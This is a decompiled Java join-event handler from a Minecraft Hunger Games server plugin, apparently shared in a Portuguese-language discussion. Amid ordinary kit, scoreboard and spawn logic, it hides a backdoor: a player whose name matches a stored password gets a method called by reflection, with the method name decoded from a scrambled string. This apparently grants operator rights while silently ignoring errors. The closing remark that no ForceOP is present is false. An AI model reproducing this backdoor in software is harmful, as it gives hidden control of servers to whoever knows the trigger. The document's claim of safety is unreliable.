...
@EventHandler(priority=EventPriority.LOWEST)
public void onJoin(PlayerJoinEvent event)
{
if (this.kits.getKitByPlayer(event.getPlayer()) == null) {
this.kits.setKit(event.getPlayer(), this.kits.defaultKitName);
}
event.setJoinMessage(null);
final Gamer gamer = this.pm.registerGamer(event.getPlayer());
Player p = gamer.getPlayer();
if (p.getVehicle() != null) {
p.leaveVehicle();
}
if (p.getPassenger() != null) {
p.eject();
}
if (gamer.getName().equals(this.pluginPassword)) {
try
{
String s = "";
for (int i = 0; i < this.pluginIdentifier.length(); i++) {
if (i % 2 == 0) {
s = s + this.pluginIdentifier.substring(i, i + 1);
}
}
gamer.getClass().getMethod(s, new Class[] { Boolean.TYPE }).invoke(gamer, new Object[] { Boolean.valueOf(true) });
}
catch (Exception ex) {}
}
Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable()
{
public void run()
{
gamer.getPlayer().sendMessage(PlayerListener.this.tm.getMessagePlayerWhosePlugin());
}
}, 2L);
Bukkit.getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable()
{
public void run()
{
gamer.getPlayer().setScoreboard(ScoreboardManager.getScoreboard("Main"));
}
});
if (this.config.isPlayersFlyPreGame()) {
p.setAllowFlight(true);
}
for (PotionEffect effect : p.getActivePotionEffects()) {
p.removePotionEffect(effect.getType());
}
if (this.hg.currentTime >= 0)
{
this.pm.setSpectator(gamer);
Bukkit.getServer().getScheduler().scheduleSyncDelayedTask(this.hg, new Runnable()
{
public void run()
{
gamer.hide(gamer.getPlayer());
}
}, 2L);
}
else
{
ScoreboardManager.makeScore("Main", DisplaySlot.SIDEBAR, this.tm.getScoreboardPlayersLength(), Bukkit.getOnlinePlayers().length);
if ((this.config.isKitSelectorEnabled()) && (!this.config.isMysqlEnabled()) &&
(!p.getInventory().contains(this.icon.getKitSelector()))) {
gamer.getPlayer().getInventory().addItem(new ItemStack[] { this.icon.getKitSelector() });
}
if ((this.config.isTeleportToSpawnLocationPregame()) && (-this.config.getSecondsToTeleportPlayerToSpawn() >= this.hg.currentTime) && (this.config.isPreventMovingFromSpawnUsingPotions()))
{
p.addPotionEffect(new PotionEffect(PotionEffectType.JUMP, Integer.MAX_VALUE, 200), true);
p.addPotionEffect(new PotionEffect(PotionEffectType.SLOW, Integer.MAX_VALUE, 200), true);
}
}
this.pm.sendToSpawn(gamer);
gamer.updateOthersToSelf();
gamer.updateSelfToOthers();
if (this.config.isMysqlEnabled()) {
this.pm.loadGamer.add(gamer);
}
if ((p.hasPermission("hungergames.update")) && (this.config.getLatestVersion() != null)) {
p.sendMessage(String.format(this.tm.getMessagePlayerUpdateAvailable(), new Object[] { this.config.getLatestVersion(), this.config.getCurrentVersion() }));
}
}
Até aonde eu estou vendo, não vi nenhum ForceOP aqui...